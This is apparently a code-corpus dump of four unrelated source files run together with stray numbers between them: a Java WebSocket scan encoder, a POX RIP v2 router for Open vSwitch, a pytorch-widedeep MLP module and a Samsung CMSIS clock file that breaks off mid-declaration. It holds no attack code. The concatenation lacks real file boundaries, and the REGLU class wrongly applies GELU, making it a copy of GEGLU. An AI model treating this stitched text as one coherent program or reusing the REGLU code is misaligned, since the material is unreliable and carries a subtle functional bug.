package com.olacabs.jackhammer.tool.interfaces.request; import com.fasterxml.jackson.databind.ObjectMapper; import com.olacabs.jackhammer.models.Scan; import javax.websocket.EncodeException; import javax.websocket.Encoder; import javax.websocket.EndpointConfig; import java.io.IOException; public class ScanRequestEncoder implements Encoder.Text<Scan> { private static final ObjectMapper MAPPER = new ObjectMapper(); public void destroy() { // TODO Auto-generated method stub } public void init(EndpointConfig arg0) { // TODO Auto-generated method stub } public String encode(Scan scan) throws EncodeException { try { return MAPPER.writeValueAsString(scan); } catch (IOException e) { throw new EncodeException(scan, "Could not encode.", e); } } }
299
416
# Copyright 2017 <NAME> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ A RIP v2 routing daemon for OpenFlow This component turns OpenFlow switches into RIP v2 routers. The switches must support Open vSwitch / Nicira extensions. You must run this component once for each switch you want to act as a RIP router, passing it the DPID of the switch. You also configure each interface you want active. Each interface to be involved in RIP must be given an IP address, and can also be given a prefix size. Multiple such IPs/prefixes for each interface can be given separated by commas. As well as defining the interface IPs (the sources for RIP announcements), these define static local routes which will be spread by RIP. An example config file (for pox.config) might look like: [proto.rip.ovs_rip] dpid=10 eth0=192.168.1.1/24 4=10.1.0.1/16,10.2.0.1/16 This configures RIP for the switch with DPID 10 (you could also use POX's canonical DPID format, e.g., 00-00-00-00-00-0a). The port on the switch with the name "eth0" will be configured to have IP 192.168.1.1, and the subnet 192.168.1.0/24 should be directly reachable on this port. Aside from using port names, one can use port numbers, as is the case with the next line, which configures port 4 of the switch to have two IPs and two directly reachable subnets (if you have port names which are just numbers, this may be problematic). You may specify static non-local routes as follows: [proto.rip.ovs_rip:static] dpid=10 10.3.0.0/16=192.168.1.3,metric:3 This specifies that the 10.3.0.0/16 subnet should be reachable via 192.168.1.3. In this case, 192.168.1.3 is reachable directly via eth0 as seen in the previous config section, but this needn't actually be the case (though it needs to be reachable somehow when a packet destined for 10.3.0.0/16 actually arrives!). See the source comments for info on what the various OpenFlow tables are used for. """ #TODO: Factor out the basic L3 router stuff from the RIP-specific stuff so # that the former can be reused for other components. from pox.core import core from pox.lib.addresses import IPAddr, parse_cidr import pox.lib.packet.rip as RIP import pox.lib.packet as pkt from pox.lib.recoco import Timer, Task import socket from .rip_core import * from pox.proto.arp_helper import send_arp_reply from pox.proto.arp_table import ARPTable from pox.lib.util import dpid_to_str import pox.openflow.nicira as ovs import pox.openflow.libopenflow_01 as of log = core.getLogger() ARP_IDLE_TIMEOUT = 20 ARP_HARD_TIMEOUT = 60 #TODO: Send periodic ARPs from our side # We use some packet metadata DST_IP_REGISTER = ovs.NXM_NX_REG2 OUT_PORT_REGISTER = ovs.NXM_NX_REG3 # Cookies for various table entries PING_COOKIE = 1 ARP_REPLY_COOKIE = 2 ARP_REQUEST_COOKIE = 3 ARP_TABLE_COOKIE = 4 RIP_PACKET_COOKIE = 5 DHCP_COOKIE = 6 # Table numbers INGRESS_TABLE = 0 RIP_NET_TABLE = 1 RIP_PORT_TABLE = 2 ARP_TABLE = 3 # The INGRESS table sends various things (ARP) to the controller. # IP packets, it passes along to RIP_NET after copying the dst # IP address into DST_IP_REGISTER and decrementing the TTL. # RIP_NET is one part of the "routing table". For entries that # have a gateway, it stores the gateway. After any lookup, # RIP_NET resubmits to RIP_PORT, but if the route has a gateway, # it first rewrites the dst IP to be the IP of the gateway. # This will then get written back again later. # RIP_PORT is the second part of the "routing table". In # RIP_PORT, the dst IP should be directly attached (either # because the packet is to a directly attached network or # because RIP_NET rewrote the destination to be the next # hop gateway, which should be directly attached), so we # are using that IP to look up the egress port, which is loaded # into OUT_PORT_REGISTER. We also set the source MAC address, # and finally resubmit to ARP. # ARP looks up the dst IP, and matching entries set the dst # Ethernet address, rewrite the dst IP back to the stored # value in DST_IP_REGISTER, and output to OUT_PORT_REGISTER. # On a table miss, the packet is sent to the controller with # ARP_TABLE_COOKIE. The controller will send an ARP. class Port (object): def __init__ (self): self.ips = set() self.arp_table = ARPTable() @property def any_ip (self): return next(iter(self.ips)) class OVSRIPRouter (RIPRouter): def __init__ (self, dpid): self.dpid = dpid super(OVSRIPRouter,self).__init__() self._ports = {} # portno -> Port self._port_cache = {} self._deferred_sync_table_pending = 0 # Caches of switch tables self._cur = {RIP_NET_TABLE:{}, RIP_PORT_TABLE:{}} # For sloppy duplicate-installation prevention #TODO: Do this better self._prev = None self.log = log self.log.info("OVS RIP Router on %s", dpid_to_str(self.dpid)) core.listen_to_dependencies(self) def _handle_core_UpEvent (self, e): self.send_timer = Timer(self.SEND_TIMER, self._on_send, recurring=True) def _on_send (self): #self.log.debug("Sending timed update") self.send_updates(force=True) def _deferred_sync_table (self): self._deferred_sync_table_pending += 1 if self._deferred_sync_table_pending > 1: return def do_it (): self.log.debug("Syncing table after %s deferrals", self._deferred_sync_table_pending) self._deferred_sync_table_pending = 0 self.sync_table() core.call_later(do_it) def _add_entry (self, e): self.table[e.key] = e self._deferred_sync_table() def add_static_route (self, prefix, next_hop, metric=1): """ Adds a static route """ e = self._new_entry(static=True, origin=next_hop) e.ip = prefix[0] e.size = prefix[1] e.metric = metric self.table[e.key] = e def add_direct_network (self, iface, ip, prefix): """ Adds a directly attached network (and, implicitly, a network interface) iface can either be a port number (int) or port name (string) ip is the IP address of the interface (on network 'prefix') prefix is the network (IPAddr,prefix_size) of the attached network You may call this more than once if the interface has multiple directly reachable subnets. """ assert ip.in_network(prefix) if iface not in self._port_cache: self._port_cache[iface] = set() self._port_cache[iface].add((ip,prefix)) self._refresh_ports() def _refresh_ports (self): """ Tries to resolve entries in _port_cache """ #TODO: Are there other places this needs to be called? if not self._conn: return # Nothing to do now ports = {} self._ports = ports for name,ip_prefix_pairs in self._port_cache.items(): if name not in self._conn.ports: continue ofport = self._conn.ports[name] if ofport.port_no not in ports: ports[ofport.port_no] = Port() port = ports[ofport.port_no] for ip,prefix in ip_prefix_pairs: port.ips.add(ip) e = self._new_entry(static=True) e.ip = prefix[0] e.size = prefix[1] e.dev = ofport.port_no e.metric = 0 #NOTE: Or is this 1? self._add_entry(e) # The ingress table has port-specific stuff on it, so we may need # to update it now. #TODO: Check if anything has changed instead of always updating if self._conn: self._init_ingress_table() @property def all_ips (self): all_ips = set() for portobj in self._ports.values(): all_ips.update(portobj.ips) return all_ips def _clear_table (self, tid): if not self._conn: return self._invalidate() fm = ovs.ofp_flow_mod_table_id() fm.command = of.OFPFC_DELETE fm.table_id = tid self._conn.send(fm) def _invalidate (self): self._prev = None def _init_tables (self): if not self._conn: self.log.warn("Can't init tables -- no connection") return self._clear_table(INGRESS_TABLE) self._clear_table(RIP_NET_TABLE) self._clear_table(RIP_PORT_TABLE) self._clear_table(ARP_TABLE) self._init_ingress_table() self._init_rip_net_table() self._init_rip_port_table() self._init_arp_table() def _init_ingress_table (self): self._clear_table(INGRESS_TABLE) # INGRESS_TABLE: Send RIP to controller fm = ovs.ofp_flow_mod_table_id() fm.table_id = INGRESS_TABLE fm.cookie = RIP_PACKET_COOKIE fm.match.dl_type = pkt.ethernet.IP_TYPE fm.match.dl_dst = RIP.RIP2_ADDRESS.multicast_ethernet_address fm.match.nw_dst = RIP.RIP2_ADDRESS fm.match.nw_proto = pkt.ipv4.UDP_PROTOCOL fm.match.tp_dst = RIP.RIP_PORT fm.actions.append(of.ofp_action_output(port = of.OFPP_CONTROLLER)) self._conn.send(fm) #TODO: Add RIP entry for unicast advertisements? Or be liberal here # and validate on the controller side? # INGRESS_TABLE: Send ARP requests for router to controller fm = ovs.ofp_flow_mod_table_id() fm.table_id = INGRESS_TABLE fm.cookie = ARP_REQUEST_COOKIE fm.match.dl_type = pkt.ethernet.ARP_TYPE fm.match.nw_proto = pkt.arp.REQUEST fm.actions.append(of.ofp_action_output(port = of.OFPP_CONTROLLER)) for portno,portobj in self._ports.items(): if portno not in self._conn.ports: continue fm.match.in_port = portno for ip in portobj.ips: fm.match.nw_dst = ip self._conn.send(fm) # INGRESS_TABLE: Send ARP replies send to router to controller fm = ovs.ofp_flow_mod_table_id() fm.table_id = INGRESS_TABLE fm.cookie = ARP_REPLY_COOKIE fm.match.dl_type = pkt.ethernet.ARP_TYPE fm.match.nw_proto = pkt.arp.REPLY fm.actions.append(of.ofp_action_output(port = of.OFPP_CONTROLLER)) for portno,portobj in self._ports.items(): if portno not in self._conn.ports: continue fm.match.in_port = portno fm.match.dl_dst = self._conn.ports[portno].hw_addr self._conn.send(fm) # INGRESS_TABLE: Send ICMP to controller fm = ovs.ofp_flow_mod_table_id() fm.table_id = INGRESS_TABLE fm.cookie = PING_COOKIE fm.match.dl_type = pkt.ethernet.IP_TYPE fm.match.nw_proto = pkt.ipv4.ICMP_PROTOCOL fm.match.tp_src = pkt.ICMP.TYPE_ECHO_REQUEST # Type fm.match.tp_dst = 0 # Code fm.actions.append(of.ofp_action_output(port = of.OFPP_CONTROLLER)) for portno,portobj in self._ports.items(): if portno not in self._conn.ports: continue fm.match.in_port = portno fm.match.dl_dst = self._conn.ports[portno].hw_addr for ip in self.all_ips: fm.match.nw_dst = ip self._conn.send(fm) if core.hasComponent("DHCPD"): # INGRESS_TABLE: Send DHCP to controller fm = ovs.ofp_flow_mod_table_id() fm.table_id = INGRESS_TABLE fm.cookie = DHCP_COOKIE fm.match.dl_type = pkt.ethernet.IP_TYPE fm.match.nw_proto = pkt.ipv4.UDP_PROTOCOL fm.match.tp_src = pkt.dhcp.CLIENT_PORT fm.match.tp_dst = pkt.dhcp.SERVER_PORT fm.actions.append(of.ofp_action_output(port = of.OFPP_CONTROLLER)) for portno,dhcpd in core.DHCPD.get_ports_for_dpid(self.dpid): if portno not in self._conn.ports: continue if dhcpd._install_flow: self.log.warn("Turning off DHCP server table entry installation.") self.log.warn("You probably want to configure it with no_flow.") dhcpd._install_flow = False fm.match.in_port = portno fm.match.dl_dst = pkt.ETHERNET.ETHER_BROADCAST fm.match.nw_dst = pkt.IPV4.IP_BROADCAST self._conn.send(fm) fm.match.dl_dst = self._conn.ports[portno].hw_addr fm.match.nw_dst = dhcpd.ip_addr self._conn.send(fm) # INGRESS_TABLE: IP packets (lower priority) fm = ovs.ofp_flow_mod_table_id() fm.table_id = INGRESS_TABLE fm.priority -= 1 fm.match.dl_type = pkt.ethernet.IP_TYPE fm.actions.append(ovs.nx_reg_move(dst=DST_IP_REGISTER, src=ovs.NXM_OF_IP_DST)) fm.actions.append(ovs.nx_action_dec_ttl()) fm.actions.append(ovs.nx_action_resubmit.resubmit_table(RIP_NET_TABLE)) self._conn.send(fm) def _init_rip_net_table (self): # RIP_NET_TABLE default entry (drop) fm = ovs.ofp_flow_mod_table_id() fm.table_id = RIP_NET_TABLE fm.priority = 0 self._conn.send(fm) def _init_rip_port_table (self): # RIP_PORT_TABLE default entry (drop) fm = ovs.ofp_flow_mod_table_id() fm.table_id = RIP_PORT_TABLE fm.priority = 0 self._conn.send(fm) def _init_arp_table (self): # ARP_TABLE default entry fm = ovs.ofp_flow_mod_table_id() fm.table_id = ARP_TABLE fm.priority = 0 fm.cookie = ARP_TABLE_COOKIE fm.actions.append(of.ofp_action_output(port = of.OFPP_CONTROLLER)) self._conn.send(fm) def _handle_openflow_ConnectionUp (self, event): if event.dpid != self.dpid: return self.log.info("Switch connected") self._conn.send(ovs.nx_flow_mod_table_id()) self._conn.send(ovs.nx_packet_in_format()) self._init_tables() self._refresh_ports() self._invalidate() def _handle_openflow_PortStatus (self, event): self._refresh_ports() self._invalidate() def _handle_openflow_PacketIn (self, event): try: cookie = event.ofp.cookie # Must be Nicira packet in! except: return if cookie == RIP_PACKET_COOKIE: self._do_rip(event) elif cookie == PING_COOKIE: self._do_ping(event) elif cookie == ARP_REQUEST_COOKIE: self._do_arp_request(event) elif cookie == ARP_REPLY_COOKIE: self._do_arp_reply(event) elif cookie == ARP_TABLE_COOKIE: self._do_arp_table(event) def _do_rip (self, event): ripp = event.parsed.find('rip') ipp = event.parsed.find('ipv4') if not ripp or not ipp: self.log.warn("Expected RIP packet wasn't RIP") return if ripp.version != 2: return if ripp.command == RIP.RIP_REQUEST: self.process_request(event.port, ipp.srcip, ripp) elif ripp.command == RIP.RIP_RESPONSE: self.log.debug("Processing RIP response") self.process_response(event.port, ipp.srcip, ripp) self.sync_table() def _do_arp_table (self, event): ipp = event.parsed.find('ipv4') if not ipp: self.log.warn("Packet that missed ARP table wasn't IP") return #TODO: rate limit ARPing port = self._ports[event.port] real_dst_ip = event.ofp.match.find(DST_IP_REGISTER) out_port = event.ofp.match.find(OUT_PORT_REGISTER) hop_ip = ipp.dstip if real_dst_ip is None: self.log.error("Packet to ARP for has no real IP") return real_dst_ip = real_dst_ip.value if out_port is None: self.log.error("Packet to ARP for has no port number") return out_port = out_port.value if out_port not in self._conn.ports: self.log.error("Packet to ARP for is using unknown port") return real_dst_ip = IPAddr(real_dst_ip, networkOrder=False) #FIXME: Endian issue? ipp.dstip = real_dst_ip router_ip = hop_ip if hop_ip != real_dst_ip else None def send (data): msg = of.ofp_packet_out() msg.actions.append(of.ofp_action_output(port = out_port)) msg.data = data event.connection.send(msg) out_port_eth = self._conn.ports[out_port].hw_addr arp_sent,entry = port.arp_table.send(event.parsed, router_ip=router_ip, src_eth=out_port_eth, src_ip=port.any_ip, send_function=send) if arp_sent: self.log.debug("ARPed for %s", router_ip if router_ip is not None else real_dst_ip) else: self.log.debug("Used controller ARP entry for %s", router_ip if router_ip is not None else real_dst_ip) if entry.mac: # (Re-?)ad entry to switch self._add_arp_entry(entry.ip, entry.mac) def _do_arp_reply (self, event): arpp = event.parsed.find('arp') if not arpp: self.log.warn("Expected ARP packet wasn't ARP") return port = self._ports.get(event.port) if port is None: self.log.warn("Got ARP from non-existent port") return port.arp_table.rx_arp_reply(arpp) self._add_arp_entry(arpp) def _do_arp_request (self, event): arpp = event.parsed.find('arp') if not arpp: self.log.warn("Expected ARP packet wasn't ARP") return port = self._ports.get(event.port) if port is None: self.log.warn("Got ARP from non-existent port") return port.arp_table.rx_arp(arpp) if arpp.protodst not in port.ips: # This shouldn't happen since we install table entries specifically # for our own ports! self.log.warn("Got ARP with wrong IP address") return send_arp_reply(event, True) self._add_arp_entry(arpp) def _add_arp_entry (self, ip_or_arp, eth=None): """ Creates an entry in the switch ARP table You can either pass an ARP packet or an IP and Ethernet address """ if not self._conn: return if eth is None: assert isinstance(ip_or_arp, pkt.arp) ip = ip_or_arp.protosrc eth = ip_or_arp.hwsrc else: ip = ip_or_arp self.log.debug("Populating ARP table with %s -> %s", ip, eth) fm = ovs.ofp_flow_mod_table_id() fm.xid = 0 fm.table_id = ARP_TABLE fm.idle_timeout = ARP_IDLE_TIMEOUT fm.hard_timeout = ARP_HARD_TIMEOUT fm.match.dl_type = pkt.ethernet.IP_TYPE fm.match.nw_dst = ip fm.actions.append(of.ofp_action_dl_addr.set_dst(eth)) fm.actions.append(ovs.nx_reg_move(src=DST_IP_REGISTER, dst=ovs.NXM_OF_IP_DST)) fm.actions.append(ovs.nx_output_reg(reg=OUT_PORT_REGISTER)) self._conn.send(fm) def _do_ping (self, event): eth = event.parsed icmpp = event.parsed.find('icmp') ipp = event.parsed.find('ipv4') if not icmpp or not ipp: self.log.warn("Expected ICMP packet wasn't ICMP") return oport = self._conn.ports.get(event.port) if oport is None: self.log.warn("Got ICMP from non-existent hardware port") return if oport.hw_addr != event.parsed.dst: # This shouldn't happen since we install table entries specifically # for our own ports! self.log.warn("Got ping with wrong Ethernet address") return port = self._ports.get(event.port) if port is None: self.log.warn("Got ICMP from non-existent port") return if ipp.dstip not in self.all_ips: # Unlike ARP, we use all_ips and not port.ips because we want to # respond to any of our IP addresses. # This shouldn't happen since we install table entries specifically # for our own ports! self.log.warn("Got ping with wrong IP address") return if icmpp.type == pkt.ICMP.TYPE_ECHO_REQUEST: echop = icmpp.payload if not isinstance(echop, pkt.ICMP.echo): self.log.warn("Expected ICMP echo wasn't ICMP echo") return # Make the ping reply r_icmp = pkt.icmp() r_icmp.type = pkt.TYPE_ECHO_REPLY r_icmp.payload = echop # Make the IP packet around it r_ipp = pkt.ipv4() r_ipp.protocol = ipp.ICMP_PROTOCOL r_ipp.srcip = ipp.dstip r_ipp.dstip = ipp.srcip # Ethernet around that... r_e = pkt.ethernet() r_e.src = oport.hw_addr r_e.dst = event.parsed.src r_e.type = r_e.IP_TYPE # Hook them up... r_ipp.payload = r_icmp r_e.payload = r_ipp # Send it back to the input port msg = of.ofp_packet_out() msg.actions.append(of.ofp_action_output(port = event.port)) msg.data = r_e.pack() event.connection.send(msg) @property def _conn (self): """ The switch object """ return core.openflow.connections.get(self.dpid) def send_updates (self, force): conn = self._conn if not conn: return direct = self._get_port_ip_map() out = [] for port,dests in direct.items(): if port not in conn.ports: self.log.warn("No such port %s", port) continue if port not in self._ports: # We aren't configured to do RIP on this port continue responses = self.get_responses(dests, force=force) #self.log.debug("Sending %s RIP packets via %s", len(responses), iface) for r in responses: udpp = pkt.udp() udpp.payload = r udpp.dstport = RIP.RIP_PORT udpp.srcport = RIP.RIP_PORT ipp = pkt.ipv4() ipp.payload = udpp ipp.dstip = RIP.RIP2_ADDRESS ipp.protocol = ipp.UDP_PROTOCOL # We may have multiple IPs on this interface. Should we send an # advertisement from each one? The RIP spec isn't very clear. # Assume no, and we want to just send one. So just pick a source # IP from the ones available. ipp.srcip = self._ports[port].any_ip ethp = pkt.ethernet() ethp.payload = ipp ethp.dst = RIP.RIP2_ADDRESS.multicast_ethernet_address ethp.type = ethp.IP_TYPE src = conn.ports.get(port) if src is None: self.log.warn("Missing port %s", port) continue ethp.src = src.hw_addr msg = of.ofp_packet_out() msg.actions.append(of.ofp_action_output(port = port)) msg.data = ethp.pack() out.append(msg.pack()) #self.log.debug("Sending %s updates", len(out)) if out: conn.send(b''.join(out)) self._mark_all_clean() def sync_table (self): if not self._conn: return self._cur = {RIP_NET_TABLE:{}, RIP_PORT_TABLE:{}} cur = self._cur for e in self.table.values(): if e.metric >= INFINITY: continue fm = ovs.ofp_flow_mod_table_id() fm.xid = 0 fm.table_id = RIP_NET_TABLE fm.priority = e.size + 1 # +1 because 0 reserved for fallback fm.match.dl_type = pkt.ethernet.IP_TYPE fm.match.nw_dst = (e.ip, e.size) if e.dev is not None: # This is for a directly attached network. It'll be looked up in # the port table. fm.actions.append(ovs.nx_action_resubmit.resubmit_table(RIP_PORT_TABLE)) else: # This is for a remote network. # Load the gateway into the dst IP; it will be looked up in the port # table to find the right port. The real dst IP will get reloaded # from a register before egress. fm.actions.append(of.ofp_action_nw_addr.set_dst(e.next_hop)) fm.actions.append(ovs.nx_action_resubmit.resubmit_table(RIP_PORT_TABLE)) cur[RIP_NET_TABLE][(e.ip, e.size)] = fm for e in self.table.values(): if e.metric >= INFINITY: continue fm = ovs.ofp_flow_mod_table_id() fm.xid = 0 fm.table_id = RIP_PORT_TABLE fm.priority = e.size + 1 # +1 because 0 reserved for fallback fm.match.dl_type = pkt.ethernet.IP_TYPE fm.match.nw_dst = (e.ip, e.size) if e.dev is not None: # This is for a directly attached network. Look up the port. # Also, fix the dst IP address. port = self._conn.ports.get(e.dev) if port is None: continue fm.actions.append(ovs.nx_reg_load(dst=OUT_PORT_REGISTER, value=e.dev)) fm.actions.append(of.ofp_action_dl_addr.set_src(port.hw_addr)) fm.actions.append(ovs.nx_action_resubmit.resubmit_table(ARP_TABLE)) else: # If we get to this table and we don't have a direct entry that # matches, we have no working route! # Should we install something so that we generate an ICMP unreachable # or something? pass cur[RIP_PORT_TABLE][(e.ip, e.size)] = fm if self._conn: data1 = b''.join(x.pack() for x in self._cur[RIP_PORT_TABLE].values()) data2 = b''.join(x.pack() for x in self._cur[RIP_NET_TABLE].values()) data = data1 + data2 if data == self._prev: return # Nothing changed self._clear_table(RIP_NET_TABLE) self._clear_table(RIP_PORT_TABLE) self._init_rip_net_table() self._init_rip_port_table() self.log.debug("Syncing %s port and %s net table entries", len(cur[RIP_PORT_TABLE]), len(cur[RIP_NET_TABLE])) self._conn.send(data) self._prev = data #TODO: Handle errors! class OVSRIPRouters (object): routers_by_dpid = {} def add (self, router): assert router.dpid not in self.routers_by_dpid self.routers_by_dpid[router.dpid] = router def get (self, dpid): return self.routers_by_dpid[dpid] def static (dpid, __INSTANCE__=None, **kw): try: dpid = int(dpid) except: dpid = util.str_to_dpid(dpid) r = core.OVSRIPRouters.get(dpid=dpid) for prefix,rest in kw.items(): prefix = IPAddr.parse_cidr(prefix) rest = rest.split(",") next_hop = IPAddr(rest[0]) rest = rest[1:] attrs = {} for attr in rest: k,v = attr.split(":",1) f = {"metric":int}[k] # Fail for other attrs[k] = f(v) r.add_static_route(prefix=prefix, next_hop=next_hop, **attrs) def launch (dpid, __INSTANCE__=None, **kw): if not core.hasComponent("OVSRIPRouters"): core.registerNew(OVSRIPRouters) if not core.hasComponent("NX"): import pox.openflow.nicira pox.openflow.nicira.launch(convert_packet_in=True) try: dpid = int(dpid) except: dpid = util.str_to_dpid(dpid) r = OVSRIPRouter(dpid=dpid) core.OVSRIPRouters.add(r) # Directly attached networks for iface,routes in kw.items(): # Try to parse iface as a port number; else a name try: iface = int(iface) except: pass routes = routes.split(',') for route in routes: ip,prefix_size = IPAddr.parse_cidr(route, allow_host=True) prefix = ip.get_network(prefix_size) r.add_direct_network(iface, ip=ip, prefix=prefix)
11,409
692
<reponame>rajshah4/pytorch-widedeep import numpy as np import torch import torch.nn.functional as F from torch import nn from pytorch_widedeep.wdtypes import * # noqa: F403 allowed_activations = ["relu", "leaky_relu", "tanh", "gelu", "geglu", "reglu"] class GEGLU(nn.Module): def forward(self, x): x, gates = x.chunk(2, dim=-1) return x * F.gelu(gates) class REGLU(nn.Module): def forward(self, x): x, gates = x.chunk(2, dim=-1) return x * F.gelu(gates) def get_activation_fn(activation): if activation == "relu": return nn.ReLU(inplace=True) if activation == "leaky_relu": return nn.LeakyReLU(inplace=True) if activation == "tanh": return nn.Tanh() if activation == "gelu": return nn.GELU() if activation == "geglu": return GEGLU() if activation == "reglu": return REGLU() def dense_layer( inp: int, out: int, activation: str, p: float, bn: bool, linear_first: bool, ): # This is basically the LinBnDrop class at the fastai library if activation == "geglu": raise ValueError( "'geglu' activation is only used as 'transformer_activation' " "in transformer-based models" ) act_fn = get_activation_fn(activation) layers = [nn.BatchNorm1d(out if linear_first else inp)] if bn else [] if p != 0: layers.append(nn.Dropout(p)) # type: ignore[arg-type] lin = [nn.Linear(inp, out, bias=not bn), act_fn] layers = lin + layers if linear_first else layers + lin return nn.Sequential(*layers) class CatEmbeddingsAndCont(nn.Module): def __init__( self, column_idx: Dict[str, int], embed_input: List[Tuple[str, int, int]], embed_dropout: float, continuous_cols: Optional[List[str]], cont_norm_layer: str, ): super(CatEmbeddingsAndCont, self).__init__() self.column_idx = column_idx self.embed_input = embed_input self.continuous_cols = continuous_cols # Embeddings: val + 1 because 0 is reserved for padding/unseen cateogories. if self.embed_input is not None: self.embed_layers = nn.ModuleDict( { "emb_layer_" + col: nn.Embedding(val + 1, dim, padding_idx=0) for col, val, dim in self.embed_input } ) self.embedding_dropout = nn.Dropout(embed_dropout) self.emb_out_dim: int = int( np.sum([embed[2] for embed in self.embed_input]) ) else: self.emb_out_dim = 0 # Continuous if self.continuous_cols is not None: self.cont_idx = [self.column_idx[col] for col in self.continuous_cols] self.cont_out_dim: int = len(self.continuous_cols) if cont_norm_layer == "batchnorm": self.cont_norm: NormLayers = nn.BatchNorm1d(self.cont_out_dim) elif cont_norm_layer == "layernorm": self.cont_norm = nn.LayerNorm(self.cont_out_dim) else: self.cont_norm = nn.Identity() else: self.cont_out_dim = 0 self.output_dim = self.emb_out_dim + self.cont_out_dim def forward(self, X: Tensor) -> Tuple[Tensor, Any]: if self.embed_input is not None: embed = [ self.embed_layers["emb_layer_" + col](X[:, self.column_idx[col]].long()) for col, _, _ in self.embed_input ] x_emb = torch.cat(embed, 1) x_emb = self.embedding_dropout(x_emb) else: x_emb = None if self.continuous_cols is not None: x_cont = self.cont_norm((X[:, self.cont_idx].float())) else: x_cont = None return x_emb, x_cont class MLP(nn.Module): def __init__( self, d_hidden: List[int], activation: str, dropout: Optional[Union[float, List[float]]], batchnorm: bool, batchnorm_last: bool, linear_first: bool, ): super(MLP, self).__init__() if not dropout: dropout = [0.0] * len(d_hidden) elif isinstance(dropout, float): dropout = [dropout] * len(d_hidden) self.mlp = nn.Sequential() for i in range(1, len(d_hidden)): self.mlp.add_module( "dense_layer_{}".format(i - 1), dense_layer( d_hidden[i - 1], d_hidden[i], activation, dropout[i - 1], batchnorm and (i != len(d_hidden) - 1 or batchnorm_last), linear_first, ), ) def forward(self, X: Tensor) -> Tensor: return self.mlp(X) class TabMlp(nn.Module): r"""Defines a ``TabMlp`` model that can be used as the ``deeptabular`` component of a Wide & Deep model. This class combines embedding representations of the categorical features with numerical (aka continuous) features. These are then passed through a series of dense layers (i.e. a MLP). Parameters ---------- column_idx: Dict Dict containing the index of the columns that will be passed through the ``TabMlp`` model. Required to slice the tensors. e.g. {'education': 0, 'relationship': 1, 'workclass': 2, ...} embed_input: List, Optional, default = None List of Tuples with the column name, number of unique values and embedding dimension. e.g. [(education, 11, 32), ...] embed_dropout: float, default = 0.1 embeddings dropout continuous_cols: List, Optional, default = None List with the name of the numeric (aka continuous) columns cont_norm_layer: str, default = "batchnorm" Type of normalization layer applied to the continuous features. Options are: 'layernorm', 'batchnorm' or None. mlp_hidden_dims: List, default = [200, 100] List with the number of neurons per dense layer in the mlp. mlp_activation: str, default = "relu" Activation function for the dense layers of the MLP. Currently ``tanh``, ``relu``, ``leaky_relu`` and ``gelu`` are supported mlp_dropout: float or List, default = 0.1 float or List of floats with the dropout between the dense layers. e.g: [0.5,0.5] mlp_batchnorm: bool, default = False Boolean indicating whether or not batch normalization will be applied to the dense layers mlp_batchnorm_last: bool, default = False Boolean indicating whether or not batch normalization will be applied to the last of the dense layers mlp_linear_first: bool, default = False Boolean indicating the order of the operations in the dense layer. If ``True: [LIN -> ACT -> BN -> DP]``. If ``False: [BN -> DP -> LIN -> ACT]`` Attributes ---------- cat_embed_and_cont: ``nn.Module`` This is the module that processes the categorical and continuous columns tab_mlp: ``nn.Sequential`` mlp model that will receive the concatenation of the embeddings and the continuous columns output_dim: int The output dimension of the model. This is a required attribute neccesary to build the WideDeep class Example -------- >>> import torch >>> from pytorch_widedeep.models import TabMlp >>> X_tab = torch.cat((torch.empty(5, 4).random_(4), torch.rand(5, 1)), axis=1) >>> colnames = ['a', 'b', 'c', 'd', 'e'] >>> embed_input = [(u,i,j) for u,i,j in zip(colnames[:4], [4]*4, [8]*4)] >>> column_idx = {k:v for v,k in enumerate(colnames)} >>> model = TabMlp(mlp_hidden_dims=[8,4], column_idx=column_idx, embed_input=embed_input, ... continuous_cols = ['e']) >>> out = model(X_tab) """ def __init__( self, column_idx: Dict[str, int], embed_input: Optional[List[Tuple[str, int, int]]] = None, embed_dropout: float = 0.1, continuous_cols: Optional[List[str]] = None, cont_norm_layer: str = "batchnorm", mlp_hidden_dims: List[int] = [200, 100], mlp_activation: str = "relu", mlp_dropout: Union[float, List[float]] = 0.1, mlp_batchnorm: bool = False, mlp_batchnorm_last: bool = False, mlp_linear_first: bool = False, ): super(TabMlp, self).__init__() self.column_idx = column_idx self.embed_input = embed_input self.mlp_hidden_dims = mlp_hidden_dims self.embed_dropout = embed_dropout self.continuous_cols = continuous_cols self.cont_norm_layer = cont_norm_layer self.mlp_activation = mlp_activation self.mlp_dropout = mlp_dropout self.mlp_batchnorm = mlp_batchnorm self.mlp_linear_first = mlp_linear_first if self.mlp_activation not in allowed_activations: raise ValueError( "Currently, only the following activation functions are supported " "for for the MLP's dense layers: {}. Got {} instead".format( ", ".join(allowed_activations), self.mlp_activation ) ) self.cat_embed_and_cont = CatEmbeddingsAndCont( column_idx, embed_input, embed_dropout, continuous_cols, cont_norm_layer, ) # MLP mlp_input_dim = self.cat_embed_and_cont.output_dim mlp_hidden_dims = [mlp_input_dim] + mlp_hidden_dims self.tab_mlp = MLP( mlp_hidden_dims, mlp_activation, mlp_dropout, mlp_batchnorm, mlp_batchnorm_last, mlp_linear_first, ) # the output_dim attribute will be used as input_dim when "merging" the models self.output_dim = mlp_hidden_dims[-1] def forward(self, X: Tensor) -> Tensor: r"""Forward pass that concatenates the continuous features with the embeddings. The result is then passed through a series of dense layers """ x_emb, x_cont = self.cat_embed_and_cont(X) if x_emb is not None: x = x_emb if x_cont is not None: x = torch.cat([x, x_cont], 1) if x_emb is not None else x_cont return self.tab_mlp(x)
4,843
3,897
<gh_stars>1000+ /**************************************************************************** * * Copyright 2020 Samsung Electronics All Rights Reserved. * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, * either express or implied. See the License for the specific * language governing permissions and limitations under the License. * ****************************************************************************/ #include "cmsis.h" /*---------------------------------------------------------------------------- Define clocks *----------------------------------------------------------------------------*/ #define PERI_CLOCK (4096000UL) /*---------------------------------------------------------------------------- System Core Clock Variable *----------------------------------------------------------------------------*/ uint32_t SystemCoreClock = HSOSC_CLK_FREQ ;//LSOSC_CLK_FREQ; /* System Clock Frequency (Core Clock)*/ uint32_t PeriPheralClock = 